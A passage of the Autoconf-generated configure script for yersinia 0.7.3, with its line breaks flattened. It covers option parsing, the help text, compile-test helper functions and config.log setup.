"x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && as_fn_error $? "invalid package name: $ac_useropt" ac_useropt_orig=$ac_useropt ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` case $ac_user_opts in *" "with_$ac_useropt" "*) ;; *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--without-$ac_useropt_orig" ac_unrecognized_sep=', ';; esac eval with_$ac_useropt=no ;; --x) # Obsolete; use --with-x. with_x=yes ;; -x-includes | --x-includes | --x-include | --x-includ | --x-inclu \ | --x-incl | --x-inc | --x-in | --x-i) ac_prev=x_includes ;; -x-includes=* | --x-includes=* | --x-include=* | --x-includ=* | --x-inclu=* \ | --x-incl=* | --x-inc=* | --x-in=* | --x-i=*) x_includes=$ac_optarg ;; -x-libraries | --x-libraries | --x-librarie | --x-librari \ | --x-librar | --x-libra | --x-libr | --x-lib | --x-li | --x-l) ac_prev=x_libraries ;; -x-libraries=* | --x-libraries=* | --x-librarie=* | --x-librari=* \ | --x-librar=* | --x-libra=* | --x-libr=* | --x-lib=* | --x-li=* | --x-l=*) x_libraries=$ac_optarg ;; -*) as_fn_error $? "unrecognized option: \`$ac_option' Try \`$0 --help' for more information" ;; *=*) ac_envvar=`expr "x$ac_option" : 'x\([^=]*\)='` # Reject names that are not valid shell variable names. case $ac_envvar in #( '' | [0-9]* | *[!_$as_cr_alnum]* ) as_fn_error $? "invalid variable name: \`$ac_envvar'" ;; esac eval $ac_envvar=\$ac_optarg export $ac_envvar ;; *) # FIXME: should be removed in autoconf 3.0. $as_echo "$as_me: WARNING: you should use --build, --host, --target" >&2 expr "x$ac_option" : ".*[^-._$as_cr_alnum]" >/dev/null && $as_echo "$as_me: WARNING: invalid host type: $ac_option" >&2 : "${build_alias=$ac_option} ${host_alias=$ac_option} ${target_alias=$ac_option}" ;; esac done if test -n "$ac_prev"; then ac_option=--`echo $ac_prev | sed 's/_/-/g'` as_fn_error $? "missing argument to $ac_option" fi if test -n "$ac_unrecognized_opts"; then case $enable_option_checking in no) ;; fatal) as_fn_error $? "unrecognized options: $ac_unrecognized_opts" ;; *) $as_echo "$as_me: WARNING: unrecognized options: $ac_unrecognized_opts" >&2 ;; esac fi # Check all directory arguments for consistency. for ac_var in exec_prefix prefix bindir sbindir libexecdir datarootdir \ datadir sysconfdir sharedstatedir localstatedir includedir \ oldincludedir docdir infodir htmldir dvidir pdfdir psdir \ libdir localedir mandir do eval ac_val=\$$ac_var # Remove trailing slashes. case $ac_val in */ ) ac_val=`expr "X$ac_val" : 'X\(.*[^/]\)' \| "X$ac_val" : 'X\(.*\)'` eval $ac_var=\$ac_val;; esac # Be sure to have absolute directory names. case $ac_val in [\\/$]* | ?:[\\/]* ) continue;; NONE | '' ) case $ac_var in *prefix ) continue;; esac;; esac as_fn_error $? "expected an absolute directory name for --$ac_var: $ac_val" done # There might be people who depend on the old broken behavior: `$host' # used to hold the argument of --host etc. # FIXME: To remove some day. build=$build_alias host=$host_alias target=$target_alias # FIXME: To remove some day. if test "x$host_alias" != x; then if test "x$build_alias" = x; then cross_compiling=maybe $as_echo "$as_me: WARNING: if you wanted to set the --build type, don't use --host. If a cross compiler is detected then cross compile mode will be used" >&2 elif test "x$build_alias" != "x$host_alias"; then cross_compiling=yes fi fi ac_tool_prefix= test -n "$host_alias" && ac_tool_prefix=$host_alias- test "$silent" = yes && exec 6>/dev/null ac_pwd=`pwd` && test -n "$ac_pwd" && ac_ls_di=`ls -di .` && ac_pwd_ls_di=`cd "$ac_pwd" && ls -di .` || as_fn_error $? "working directory cannot be determined" test "X$ac_ls_di" = "X$ac_pwd_ls_di" || as_fn_error $? "pwd does not report name of working directory" # Find the source files, if location was not specified. if test -z "$srcdir"; then ac_srcdir_defaulted=yes # Try the directory containing this script, then the parent directory. ac_confdir=`$as_dirname -- "$as_myself" || $as_expr X"$as_myself" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$as_myself" : 'X\(//\)[^/]' \| \ X"$as_myself" : 'X\(//\)$' \| \ X"$as_myself" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$as_myself" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q'` srcdir=$ac_confdir if test ! -r "$srcdir/$ac_unique_file"; then srcdir=.. fi else ac_srcdir_defaulted=no fi if test ! -r "$srcdir/$ac_unique_file"; then test "$ac_srcdir_defaulted" = yes && srcdir="$ac_confdir or .." as_fn_error $? "cannot find sources ($ac_unique_file) in $srcdir" fi ac_msg="sources are in $srcdir, but \`cd $srcdir' does not work" ac_abs_confdir=`( cd "$srcdir" && test -r "./$ac_unique_file" || as_fn_error $? "$ac_msg" pwd)` # When building in place, set srcdir=. if test "$ac_abs_confdir" = "$ac_pwd"; then srcdir=. fi # Remove unnecessary trailing slashes from srcdir. # Double slashes in file names in object file debugging info # mess up M-x gdb in Emacs. case $srcdir in */) srcdir=`expr "X$srcdir" : 'X\(.*[^/]\)' \| "X$srcdir" : 'X\(.*\)'`;; esac for ac_var in $ac_precious_vars; do eval ac_env_${ac_var}_set=\${${ac_var}+set} eval ac_env_${ac_var}_value=\$${ac_var} eval ac_cv_env_${ac_var}_set=\${${ac_var}+set} eval ac_cv_env_${ac_var}_value=\$${ac_var} done # # Report the --help message. # if test "$ac_init_help" = "long"; then # Omit some internal or obsolete options to make the list less imposing. # This message is too long to be a string in the A/UX 3.1 sh. cat <<_ACEOF \`configure' configures yersinia 0.7.3 to adapt to many kinds of systems. Usage: $0 [OPTION]... [VAR=VALUE]... To assign environment variables (e.g., CC, CFLAGS...), specify them as VAR=VALUE. See below for descriptions of some of the useful variables. Defaults for the options are specified in brackets. Configuration: -h, --help display this help and exit --help=short display options specific to this package --help=recursive display the short help of all the included packages -V, --version display version information and exit -q, --quiet, --silent do not print \`checking ...' messages --cache-file=FILE cache test results in FILE [disabled] -C, --config-cache alias for \`--cache-file=config.cache' -n, --no-create do not create output files --srcdir=DIR find the sources in DIR [configure dir or \`..'] Installation directories: --prefix=PREFIX install architecture-independent files in PREFIX [$ac_default_prefix] --exec-prefix=EPREFIX install architecture-dependent files in EPREFIX [PREFIX] By default, \`make install' will install all the files in \`$ac_default_prefix/bin', \`$ac_default_prefix/lib' etc. You can specify an installation prefix other than \`$ac_default_prefix' using \`--prefix', for instance \`--prefix=\$HOME'. For better control, use the options below. Fine tuning of the installation directories: --bindir=DIR user executables [EPREFIX/bin] --sbindir=DIR system admin executables [EPREFIX/sbin] --libexecdir=DIR program executables [EPREFIX/libexec] --sysconfdir=DIR read-only single-machine data [PREFIX/etc] --sharedstatedir=DIR modifiable architecture-independent data [PREFIX/com] --localstatedir=DIR modifiable single-machine data [PREFIX/var] --libdir=DIR object code libraries [EPREFIX/lib] --includedir=DIR C header files [PREFIX/include] --oldincludedir=DIR C header files for non-gcc [/usr/include] --datarootdir=DIR read-only arch.-independent data root [PREFIX/share] --datadir=DIR read-only architecture-independent data [DATAROOTDIR] --infodir=DIR info documentation [DATAROOTDIR/info] --localedir=DIR locale-dependent data [DATAROOTDIR/locale] --mandir=DIR man documentation [DATAROOTDIR/man] --docdir=DIR documentation root [DATAROOTDIR/doc/yersinia] --htmldir=DIR html documentation [DOCDIR] --dvidir=DIR dvi documentation [DOCDIR] --pdfdir=DIR pdf documentation [DOCDIR] --psdir=DIR ps documentation [DOCDIR] _ACEOF cat <<\_ACEOF Program names: --program-prefix=PREFIX prepend PREFIX to installed program names --program-suffix=SUFFIX append SUFFIX to installed program names --program-transform-name=PROGRAM run sed PROGRAM on installed program names System types: --build=BUILD configure for building on BUILD [guessed] --host=HOST cross-compile to build programs to run on HOST [BUILD] --target=TARGET configure for building compilers for TARGET [HOST] _ACEOF fi if test -n "$ac_init_help"; then case $ac_init_help in short | recursive ) echo "Configuration of yersinia 0.7.3:";; esac cat <<\_ACEOF Optional Features: --disable-option-checking ignore unrecognized --enable/--with options --disable-FEATURE do not include FEATURE (same as --enable-FEATURE=no) --enable-FEATURE[=ARG] include FEATURE [ARG=yes] --disable-dependency-tracking speeds up one-time build --enable-dependency-tracking do not reject slow dependency extractors --disable-admin disable remote admin interface --disable-gtk Disable gtk 2.0 interface Optional Packages: --with-PACKAGE[=ARG] use PACKAGE [ARG=yes] --without-PACKAGE do not use PACKAGE (same as --with-PACKAGE=no) --with-pcap-includes specify the pcap include directory --with-libnet-includes specify the libnet include directory --with-sco Use this to turn on SCO-specific code --with-sunos-curses Used to force SunOS 4.x curses --with-osf1-curses Used to force OSF/1 curses --with-vcurses=incdir Used to force SysV curses --with-ncurses=dir Compile with ncurses/locate base dir Some influential environment variables: CC C compiler command CFLAGS C compiler flags LDFLAGS linker flags, e.g. -L if you have libraries in a nonstandard directory LIBS libraries to pass to the linker, e.g. -l CPPFLAGS (Objective) C/C++ preprocessor flags, e.g. -I if you have headers in a nonstandard directory CPP C preprocessor PKG_CONFIG path to pkg-config utility PKG_CONFIG_PATH directories to add to pkg-config's search path PKG_CONFIG_LIBDIR path overriding pkg-config's built-in search path PACKAGE_CFLAGS C compiler flags for PACKAGE, overriding pkg-config PACKAGE_LIBS linker flags for PACKAGE, overriding pkg-config Use these variables to override the choices made by `configure' or to help it to find libraries and programs with nonstandard names/locations. Report bugs to . _ACEOF ac_status=$? fi if test "$ac_init_help" = "recursive"; then # If there are subdirs, report their specific --help. for ac_dir in : $ac_subdirs_all; do test "x$ac_dir" = x: && continue test -d "$ac_dir" || { cd "$srcdir" && ac_pwd=`pwd` && srcdir=. && test -d "$ac_dir"; } || continue ac_builddir=. case "$ac_dir" in .) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; *) ac_dir_suffix=/`$as_echo "$ac_dir" | sed 's|^\.[\\/]||'` # A ".." for each directory in $ac_dir_suffix. ac_top_builddir_sub=`$as_echo "$ac_dir_suffix" | sed 's|/[^\\/]*|/..|g;s|/||'` case $ac_top_builddir_sub in "") ac_top_builddir_sub=. ac_top_build_prefix= ;; *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; esac ;; esac ac_abs_top_builddir=$ac_pwd ac_abs_builddir=$ac_pwd$ac_dir_suffix # for backward compatibility: ac_top_builddir=$ac_top_build_prefix case $srcdir in .) # We are building in place. ac_srcdir=. ac_top_srcdir=$ac_top_builddir_sub ac_abs_top_srcdir=$ac_pwd ;; [\\/]* | ?:[\\/]* ) # Absolute name. ac_srcdir=$srcdir$ac_dir_suffix; ac_top_srcdir=$srcdir ac_abs_top_srcdir=$srcdir ;; *) # Relative name. ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix ac_top_srcdir=$ac_top_build_prefix$srcdir ac_abs_top_srcdir=$ac_pwd/$srcdir ;; esac ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix cd "$ac_dir" || { ac_status=$?; continue; } # Check for guested configure. if test -f "$ac_srcdir/configure.gnu"; then echo && $SHELL "$ac_srcdir/configure.gnu" --help=recursive elif test -f "$ac_srcdir/configure"; then echo && $SHELL "$ac_srcdir/configure" --help=recursive else $as_echo "$as_me: WARNING: no configuration information is in $ac_dir" >&2 fi || ac_status=$? cd "$ac_pwd" || { ac_status=$?; break; } done fi test -n "$ac_init_help" && exit $ac_status if $ac_init_version; then cat <<\_ACEOF yersinia configure 0.7.3 generated by GNU Autoconf 2.68 Copyright (C) 2010 Free Software Foundation, Inc. This configure script is free software; the Free Software Foundation gives unlimited permission to copy, distribute and modify it. _ACEOF exit fi ## ------------------------ ## ## Autoconf initialization. ## ## ------------------------ ## # ac_fn_c_try_compile LINENO # -------------------------- # Try to compile conftest.$ac_ext, and return whether this succeeded. ac_fn_c_try_compile () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack rm -f conftest.$ac_objext if { { ac_try="$ac_compile" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_compile") 2>conftest.err ac_status=$? if test -s conftest.err; then grep -v '^ *+' conftest.err >conftest.er1 cat conftest.er1 >&5 mv -f conftest.er1 conftest.err fi $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } && { test -z "$ac_c_werror_flag" || test ! -s conftest.err } && test -s conftest.$ac_objext; then : ac_retval=0 else $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_retval=1 fi eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno as_fn_set_status $ac_retval } # ac_fn_c_try_compile # ac_fn_c_try_cpp LINENO # ---------------------- # Try to preprocess conftest.$ac_ext, and return whether this succeeded. ac_fn_c_try_cpp () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack if { { ac_try="$ac_cpp conftest.$ac_ext" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_cpp conftest.$ac_ext") 2>conftest.err ac_status=$? if test -s conftest.err; then grep -v '^ *+' conftest.err >conftest.er1 cat conftest.er1 >&5 mv -f conftest.er1 conftest.err fi $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } > conftest.i && { test -z "$ac_c_preproc_warn_flag$ac_c_werror_flag" || test ! -s conftest.err }; then : ac_retval=0 else $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_retval=1 fi eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno as_fn_set_status $ac_retval } # ac_fn_c_try_cpp # ac_fn_c_try_run LINENO # ---------------------- # Try to link conftest.$ac_ext, and return whether this succeeded. Assumes # that executables *can* be run. ac_fn_c_try_run () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack if { { ac_try="$ac_link" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_link") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } && { ac_try='./conftest$ac_exeext' { { case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_try") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; }; then : ac_retval=0 else $as_echo "$as_me: program exited with status $ac_status" >&5 $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_retval=$ac_status fi rm -rf conftest.dSYM conftest_ipa8_conftest.oo eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno as_fn_set_status $ac_retval } # ac_fn_c_try_run # ac_fn_c_try_link LINENO # ----------------------- # Try to link conftest.$ac_ext, and return whether this succeeded. ac_fn_c_try_link () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack rm -f conftest.$ac_objext conftest$ac_exeext if { { ac_try="$ac_link" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_link") 2>conftest.err ac_status=$? if test -s conftest.err; then grep -v '^ *+' conftest.err >conftest.er1 cat conftest.er1 >&5 mv -f conftest.er1 conftest.err fi $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } && { test -z "$ac_c_werror_flag" || test ! -s conftest.err } && test -s conftest$ac_exeext && { test "$cross_compiling" = yes || $as_test_x conftest$ac_exeext }; then : ac_retval=0 else $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_retval=1 fi # Delete the IPA/IPO (Inter Procedural Analysis/Optimization) information # created by the PGI compiler (conftest_ipa8_conftest.oo), as it would # interfere with the next link command; also delete a directory that is # left behind by Apple's compiler. We do this before executing the actions. rm -rf conftest.dSYM conftest_ipa8_conftest.oo eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno as_fn_set_status $ac_retval } # ac_fn_c_try_link # ac_fn_c_check_header_compile LINENO HEADER VAR INCLUDES # ------------------------------------------------------- # Tests whether HEADER exists and can be compiled using the include files in # INCLUDES, setting the cache variable VAR accordingly. ac_fn_c_check_header_compile () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 $as_echo_n "checking for $2... " >&6; } if eval \${$3+:} false; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ $4 #include <$2> _ACEOF if ac_fn_c_try_compile "$LINENO"; then : eval "$3=yes" else eval "$3=no" fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi eval ac_res=\$$3 { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 $as_echo "$ac_res" >&6; } eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno } # ac_fn_c_check_header_compile # ac_fn_c_check_header_mongrel LINENO HEADER VAR INCLUDES # ------------------------------------------------------- # Tests whether HEADER exists, giving a warning if it cannot be compiled using # the include files in INCLUDES and setting the cache variable VAR # accordingly. ac_fn_c_check_header_mongrel () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack if eval \${$3+:} false; then : { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 $as_echo_n "checking for $2... " >&6; } if eval \${$3+:} false; then : $as_echo_n "(cached) " >&6 fi eval ac_res=\$$3 { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 $as_echo "$ac_res" >&6; } else # Is the header compilable? { $as_echo "$as_me:${as_lineno-$LINENO}: checking $2 usability" >&5 $as_echo_n "checking $2 usability... " >&6; } cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ $4 #include <$2> _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_header_compiler=yes else ac_header_compiler=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_header_compiler" >&5 $as_echo "$ac_header_compiler" >&6; } # Is the header present? { $as_echo "$as_me:${as_lineno-$LINENO}: checking $2 presence" >&5 $as_echo_n "checking $2 presence... " >&6; } cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include <$2> _ACEOF if ac_fn_c_try_cpp "$LINENO"; then : ac_header_preproc=yes else ac_header_preproc=no fi rm -f conftest.err conftest.i conftest.$ac_ext { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_header_preproc" >&5 $as_echo "$ac_header_preproc" >&6; } # So? What about this header? case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in #(( yes:no: ) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: accepted by the compiler, rejected by the preprocessor!" >&5 $as_echo "$as_me: WARNING: $2: accepted by the compiler, rejected by the preprocessor!" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: proceeding with the compiler's result" >&5 $as_echo "$as_me: WARNING: $2: proceeding with the compiler's result" >&2;} ;; no:yes:* ) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: present but cannot be compiled" >&5 $as_echo "$as_me: WARNING: $2: present but cannot be compiled" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: check for missing prerequisite headers?" >&5 $as_echo "$as_me: WARNING: $2: check for missing prerequisite headers?" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: see the Autoconf documentation" >&5 $as_echo "$as_me: WARNING: $2: see the Autoconf documentation" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: section \"Present But Cannot Be Compiled\"" >&5 $as_echo "$as_me: WARNING: $2: section \"Present But Cannot Be Compiled\"" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: proceeding with the compiler's result" >&5 $as_echo "$as_me: WARNING: $2: proceeding with the compiler's result" >&2;} ( $as_echo "## ------------------------------------ ## ## Report this to yersinia@yersinia.net ## ## ------------------------------------ ##" ) | sed "s/^/$as_me: WARNING: /" >&2 ;; esac { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 $as_echo_n "checking for $2... " >&6; } if eval \${$3+:} false; then : $as_echo_n "(cached) " >&6 else eval "$3=\$ac_header_compiler" fi eval ac_res=\$$3 { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 $as_echo "$ac_res" >&6; } fi eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno } # ac_fn_c_check_header_mongrel # ac_fn_c_check_func LINENO FUNC VAR # ---------------------------------- # Tests whether FUNC exists, setting the cache variable VAR accordingly ac_fn_c_check_func () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 $as_echo_n "checking for $2... " >&6; } if eval \${$3+:} false; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Define $2 to an innocuous variant, in case declares $2. For example, HP-UX 11i declares gettimeofday. */ #define $2 innocuous_$2 /* System header to define __stub macros and hopefully few prototypes, which can conflict with char $2 (); below. Prefer to if __STDC__ is defined, since exists even on freestanding compilers. */ #ifdef __STDC__ # include #else # include #endif #undef $2 /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char $2 (); /* The GNU C library defines this for functions which it implements to always fail with ENOSYS. Some functions are actually named something starting with __ and the normal name is an alias. */ #if defined __stub_$2 || defined __stub___$2 choke me #endif int main () { return $2 (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : eval "$3=yes" else eval "$3=no" fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext fi eval ac_res=\$$3 { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 $as_echo "$ac_res" >&6; } eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno } # ac_fn_c_check_func cat >config.log <<_ACEOF This file contains any messages produced by compilers while running configure, to aid debugging if configure makes a mistake. It was created by yersinia $as_me 0.7.3, which was generated by GNU Autoconf 2.68. Invocation command line was $ $0 $@ _ACEOF exec 5>>config.log { cat <<_ASUNAME ## --------- ## ## Platform. ## ## --------- ## hostname = `(hostname || uname -n) 2>/dev/null | sed 1q` uname -m = `(uname -m) 2>/dev/null || echo unknown` uname -r = `(uname -r) 2>/dev/null || echo unknown` uname -s = `(uname -s) 2>/dev/null || echo unknown` uname -v = `(uname -v) 2>/dev/null || echo unknown` /usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null || echo unknown` /bin/uname -X = `(/bin/uname -X) 2>/dev/null || echo unknown` /bin/arch = `(/bin/arch) 2>/dev/null || echo unknown` /usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null || echo unknown` /usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null || echo unknown` /usr/bin/hostinfo = `(/usr/bin/hostinfo) 2>/dev/null || echo unknown` /bin/machine = `(/bin/machine) 2>/dev/null || echo unknown` /usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null || echo unknown` /bin/universe = `(/bin/universe) 2>/dev/null || echo unknown` _ASUNAME as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. $as_echo "PATH: $as_dir" done IFS=$as_save_IFS } >&5 cat >&5 <<_ACEOF ## ----------- ## ## Core tests. ## ## ----------- ## _ACEOF # Keep a trace of the command line. # Strip out --no-create and --no-recursion so they do not pile up. # Strip out --silent because we don't want to record it for future runs. # Also quote any args containing shell meta-characters. # Make two passes to allow for proper duplicate-argument suppression. ac_configure_args= ac_configure_args0= ac_configure_args1= ac_must_keep_next=false for ac_pass in 1 2 do for ac_arg do case $ac_arg in -no-create | --no-c* | -n | -no-recursion | --no-r*) continue ;; -q | -quiet | --quiet | --quie | --qui | --qu | --q \ | -silent | --silent | --silen | --sile | --sil) continue ;; *\'*) ac_arg=`$as_echo "$ac_arg" | sed "s/'/'\\\\\\\\''/g"` ;; esac case $ac_pass in 1) as_fn_append ac_configure_args0 " '$ac_arg'" ;; 2) as_fn_append ac_configure_args1 " '$ac_arg'" if test $ac_must_keep_next = true; then ac_must_keep_next=false # Got value, back to normal. else case $ac_arg in *=* | --config-cache | -C | -disable-* | --disable-* \ | -enable-* | --enable-* | -gas | --g* | -nfp | --nf* \ | -q | -quiet | --q* | -silent | --sil* | -v | -verb* \ | -with-* | --with-* | -without-* | --without-* | --x) case "$ac_configure_args0 " in "$ac_configure_args1"*" '$ac_arg' "* ) continue ;; esac ;; -* ) ac_must_keep_next=true ;; esac fi as_fn_append ac_configure_args " '$ac_arg'" ;; esac done done { ac_configure_args0=; unset ac_configure_args0;} { ac_configure_args1=; unset ac_configure_args1;} # When interrupted or exit'd, cleanup temporary files, and complete # config.log. We remove comments because anyway the quotes in there # would cause problems or look ugly. # WARNING: Use '\'' to represent an apostrophe within the trap. # WARNING: Do not start the trap code with a newline, due to a FreeBSD 4.0 bug. trap 'exit_status=$? # Save into config.log some information that might help in debugging. { echo $as_echo "## ---------------- ## ## Cache variables. ## ## ---------------- ##" echo # The following way of writing the cache mishandles newlines in values, ( for ac_var in `(set) 2>&1 | sed -n '\''s/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'\''`; do eval ac_val=\$$ac_var case $ac_val in #( *${as_nl}*) case $ac_var in #( *_cv_*) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: cache variable $ac_var contains a newline" >&5 $as_echo "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;; esac case $ac_var in #( _ | IFS | as_nl) ;; #( BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #( *) { eval $ac_var=; unset $ac_var;} ;; esac ;; esac done (set) 2>&1 | case $as_nl`(ac_space='\'' '\''; set) 2>&1` in #( *${as_nl}ac_space=\ *) sed -n \ "s/'\''/'\''\\\\'\'''\''/g; s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\''\\2'\''/p" ;; #( *) sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" ;; esac | sort ) echo $as_echo "## ----------------- ## ## Output variables. ## ## ----------------- ##" echo for ac_var in $ac_subst_vars do eval ac_val=\$$ac_var case $ac_val in *\'\''*) ac_val=`$as_echo "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; esac $as_echo "$ac_var='\''$ac_val'\''" done | sort echo if test -n "$ac_subst_files"; then $as_echo "## ------------------- ## ## File substitutions. ## ## ------------------- ##" echo for ac_var in $ac_subst_files do eval ac_val=\$$ac_var case $ac_val in *\'\''*) ac_val=`$as_echo "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; esac $as_echo "$ac_var='\''$ac_val'\''" done | sort echo fi if test -s confdefs.h; then $as_echo "## ----------- ## ## confdefs.h. ## ## ----------- ##" echo cat confdefs.h echo fi test "$ac_signal" != 0 && $as_echo "$as_me: caught signal $ac_signal" $as_echo "$as_me: exit $exit_status" } >&5 rm -f core *.core core.conftest.* && rm -f -r conftest* confdefs* conf$$* $ac_clean_files && exit $exit_status ' 0 for ac_signal in 1 2 13 15; do trap 'ac_signal='$ac_signal'; as_fn_exit 1' $ac_signal done ac_signal=0 # confdefs.h avoids OS command line length limits that DEFS can exceed. rm -f -r conftest* confdefs.h $as_echo "/* confdefs.h */" > confdefs.h # Predefined preprocessor variables. cat >>confdefs.h <<_ACEOF #define PACKAGE_NAME "$PACKAGE_NAME" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_TARNAME "$PACKAGE_TARNAME" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_VERSION "$PACKAGE_VERSION" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_STRING "$PACKAGE_STRING" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_BUGREPORT "$PACKAGE_BUGREPORT" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_URL "$PACKAGE_URL" _ACEOF # Let the site file select an alternate cache file if it wants to. # Prefer an explicitly selected file to automatically selected ones. ac_site_file1=NONE ac_site_file2=NONE if test -n "$CONFIG_SITE"; then # We do not want a PATH search for config.site. case $CONFIG_SITE in #(( -*) ac_site_file1=./$CONFIG_SITE;; */*) ac_site_file1=$CONFIG_SITE;; *) ac_site_file1=./$CONFIG_SITE;; esac elif test 